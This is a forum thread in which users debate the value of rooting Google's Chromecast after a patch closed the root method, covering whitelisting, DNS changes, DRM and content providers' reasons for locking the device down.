Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special.
(Okay, now I think I've exhausted my smiley quota for today)
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What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
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Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.
But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.
As for Temperature I only have three Temps I use in my daily life...
Too Hot
Too Cold
I'm Fine!
LOL
Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.
I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!
I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL
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Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
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It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...
But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!
Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...
The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!
And they come back and say This version is MUCH BETTER or WORSE! LOL
It's the same EXACT rom you ran yesterday! LOL
@bhiga My Chart say you still have about 20 smileys left! LOL
I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)
My devices working and stable is much more important than what it says on the About Page!
But they have been conditioned to think that one number higher somehow relates to being better! LOL
Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL
So TC is basically asking someone to read the future.... Interesting.
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I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it.
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I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.
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I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
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We can get that content just fine actually....
The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.
The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.
The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.
And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....
Guess it depends on how you put the subject and question together...
Is there a root method for builds newer than 12072?
No.
Will there be a root method for builds newer than 12072?
Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.
Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
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Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.
Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.
So I searched and came up empty.
Why would google stop the rooting of the chromecast? It's not like we can do anything too crazy with it..
Just whitelist and change the dns... So I don't get it.
One of the biggest reasons I bailed from Apple products to Android products was the ease of making it work how I wanted it to work thanks to all the devs.
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Android might be too open for Google's liking.
Allowing free streaming of audio and video would only cement Apple's good standing with companies more comfortable with controllable DRM.
Also, Android is seen as a highly vulnerable platform.
No one can have two masters.
Google can't make money on advertising alone.
Alas, only time will tell...
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So I searched and came up empty.
Why would google stop the rooting of the chromecast? It's not like we can do anything too crazy with it..
Just whitelist and change the dns... So I don't get it.
One of the biggest reasons I bailed from Apple products to Android products was the ease of making it work how I wanted it to work thanks to all the devs.
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Two of ways to look at it...
Google never intended for root to happen, initial bootloader vulnerability was an engineering version released by accident
Google loves us and released vulnerable bootloader on purpose, but that jeopardized their agreements with Netflix, Hulu, HBO, etc so they had to patch the hole
I think both have something do with it.
Given Hollywood's fear and lack of understanding of technlogy, they probably heard "rooted" and immediately called the lawyers. Doesn't matter that Chromecast doesn't actually download and store the content, so root really doesn't help in terms of "they have a copy that they can decrypt" - it's just fear.
From a business perspective Google's really pushing this mass market. So if that was the reason, the choice became "We lock it down, make the content providers happy and sell millions - or we don't lock it down, lose the content providers, and have a $35 Google TV that can't even access anything more than YouTube" well....
It's one thing to stand your ground and alienate a large group while still having functionality but standing your ground, alienating a large group and ending up with a fairly useless and unmarketable device is a recipe for angry stockholders.
tl;dr - blame the ignorant content industry decision-makers that think all we want to do is pirate stuff.
Well how willing would a company like Netflix be to support a device that once rooted could be used to steal their encryption and Auth methods So you could steal their content?
A rooted CCast could be programmed to off load the players and content it uses locally,
The content creators and providers know this which is why most content related apps are set up to refuse to work in the presence of root on a device.
Google doesn't really care if your device is rooted or not but the people they want to support the CCast care.
Remember the failure of GoogleTV, The TV Networks blacklisted the device because they believed it would be used to pirate their material and wanted to charge you or google to see it!
Unless you went directly to their site where they could count you as a view and make the money from advertising.
Hmm the possible using root to offload the videos makes sense. Seems like it would take some effort but could be as easy as some code a powered USB driver.
I think about it different... Rooted more options to make it stream more stuff... Not more options to snag stuff.
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Hopefully more apps pick up on this or it will just be another device google tried to get rolling and failed at.
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Hopefully more apps pick up on this or it will just be another device google tried to get rolling and failed at.
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I think they will and are. Android mirroring will help a lot, but even now there are many "hidden gems" like Vbukit that could really take off once Google lets up on the reins.
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I think they will and are. Android mirroring will help a lot, but even now there are many "hidden gems" like Vbukit that could really take off once Google lets up on the reins.
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Hopefully so. At this price point for the item if they can get most apps to use it then they will sell tons of them.
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Hmm the possible using root to offload the videos makes sense. Seems like it would take some effort but could be as easy as some code a powered USB driver.
I think about it different... Rooted more options to make it stream more stuff... Not more options to snag stuff.
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actually there is nothing about root other than bypassing the whitelist that lets you play more stuff.
To put it another way....
Would rooting your TV make it do something more than it already does? No it wouldn't would it?
It'a nothing more than who has access to control the hardware but the hardware doesn't do any more than it already does and it still won't play an AVI natively without transcoding so your not really gaining capability, Just removing restrictions that are there to keep control of DRM content to keep Content providers and creators happy.
If they let it stay uncontrolled then devices like this would be supported while Content providers stayed away from CCast due to it's uncontrolled environment.
http://www.webpronews.com/ces-2014-netgear-announces-hdmi-dongle-chromecast-competitor-2014-01
And rooting our androids have opened up plenty of possibilities that otherwise wouldn't be available. Like customs roms and kernels. Which then open the door to tons of stuff.... Its been a minute but I think it was custom kernels that allowed us to use exfat instead of fat32? Currently the chromecast rooted only runs a custom whitelist and a handful of other things. Because that is all we have the option with the only custom rom out. If they figure out how to start adding different functions I don't know what would be possible but yes... From rooting this opened the door to all of this being possible.
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A rooted CCast could be programmed to off load the players and content it uses locally
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So can linux box, an android, a flashed ps3, a flashed xbox360, and anything else running a linux based distro which has access to netflix through web browsers or otherwise. Hell, with a little code, a raspberry pi could do it! Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
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Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
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Yes, and then the Hollywood lawyers would try to stop your coffee maker's maker from making coffee makers. Whoa, that's a lot of makers...
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So can linux box, an android, a flashed ps3, a flashed xbox360, and anything else running a linux based distro which has access to netflix through web browsers or otherwise. Hell, with a little code, a raspberry pi could do it! Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
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Yep and why do you think Netflix upgrades sometimes won't play on your rooted device?
What is more important to you...
having content to view or access to make the unit play any content you wanted if only there was content available for it!
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Yep and why do you think Netflix upgrades sometimes won't play on your rooted device?
What is more important to you...
having content to view or access to make the unit play any content you wanted if only there was content available for it!
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Honestly?? Having root is more important to me. I've never used any of the services we're talking about (hulu, netflix, amazon, etc.) I use other means to get my video streaming accomplished, and prefer to have full control of my device without some corporate shmuck who doesn't even know what a rooted phone can do stepping in and saying I'm breaking their tos by tampering with open source firmware installed on hardware I own outright. This is why I choose to use alternatives
The chromecast was never advertised as an open source device.
Maybe it's time people realize that Google isn't synonymous with 'free, good or open source' .
They are a company and they are here to make money.
Honestly, I'm already set with the chromecast.
Netfliz+Hulu + avia + showbox +vget +plex + tab casting = my money's worth
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I agree with people have said here.... I can see both sides for the argument as being valid.
I prefer full control of my device but I also realize my type is a very small portion of the people needed to make this device appealing enough for developers to write code to
allow ccast to work.
I'm hoping that root is found occasionally to still keep the devs interested but spread out enough to keep people like netflix and hulu Happy.
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hp420 said:
Honestly?? Having root is more important to me. I've never used any of the services we're talking about (hulu, netflix, amazon, etc.) I use other means to get my video streaming accomplished, and prefer to have full control of my device without some corporate shmuck who doesn't even know what a rooted phone can do stepping in and saying I'm breaking their tos by tampering with open source firmware installed on hardware I own outright. This is why I choose to use alternatives
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So given a choice of having Media available for a Media device or Rooted device that does nothing you want the Rooted paperweight....
Good for you!
In defense... The rooted paperweight wouldn't be correct. With a strong enough dev environment we would have more options. Would seriously take a strong dev following though, since they would be responsible for keeping it from being a paperweight.
Anyways I got my answer from this thread. Which is my views are I like everything being as open as possible.
I understand now why google has to keep or attempt to keep the platform locked down for it to be a success. Maybe in the future google will find a balance of more options while still keeping the lawyers Happy.
Till then let's hope the chromecast just gets better support from app developers and increasing in popularity.... Which I think will bring more devs and possibly more chances for getting root and other roms.
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rans0m00 said:
In defense... The rooted paperweight wouldn't be correct. With a strong enough dev environment we would have more options. Would seriously take a strong dev following though, since they would be responsible for keeping it from being a paperweight.
Anyways I got my answer from this thread. Which is my views are I like everything being as open as possible.
I understand now why google has to keep or attempt to keep the platform locked down for it to be a success. Maybe in the future google will find a balance of more options while still keeping the lawyers Happy.
Till then let's hope the chromecast just gets better support from app developers and increasing in popularity.... Which I think will bring more devs and possibly more chances for getting root and other roms.
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Rans...Don't get me wrong I don't really have a problem with Root but there comes a point where having control over a device thats express purpose is to stream media and send content to a screen makes having content available more important than having control over Root access to a device that won't do what it is intended to do once you get it!
This is not a phone that you can sideload programs to and make it do something it wasn't intended to do.
It is like saying I want complete control over my TV Operating system and don't care if everyone who makes TV content available won't suppot my device making it a nice peice of electronics you can hack but serves no other purpose.
If rooting lost you Netflix, Plex, aVia and all the other content provider support what good would all that root access get you?
Are developers going to start making movies for you to watch as well?
Or are you just getting root to make your TV an Android box when an Android Stick would do the same thing for you?
Right now the only reason to have root is to Run Team Eureka's rom, And it is well worth having for that!
But if Netflix, Hulu and anyone else who has content to use on the device did a Root Check and stopped supporting your rooted device you would have nothing more than a nice Splash screen on your TV...
It's one thing to be a control freak about your devices...
Just remember the folks who make the content you want to see on your devices have the same desire (and RIGHT) to want to control who sees their content and who doesn't!
And you will blame them for not trusting you not yourself on insisting to have root on a device whose sole purpose is to display someone else's content!
We would all love to have root access to everything in life....
And thinking your going to get more just because you have more control is foolish because we have seen Root get you less from those who HAVE the content you really want.
If all this device could display was stuff you owned no one would need it because there are about 100 different devices that can already do it an better!
I actually think with enough dev support people could figure out how to make the chromecast into quite a bit more. I am not familiar with the limitations of the device itself though.
Before coming to Android I had an iPhone and I had my phone jail broke. Certain apps would not work if it was detected to be jail broken. Usually the devs found a work around and still had the content.
I'm still sticking with best case scenario is this turns out to be an apple vs jail break scene. They keep patching it but devs keep working to find holes and increasing the options users have with their device. This might keep the content providers happy since google would be patching the holes when they are presented.
And when it comes down to other devices doing it better.... Yeah there is always a different options... With the current state of things honestly I still prefer the rokus over the chromecast.
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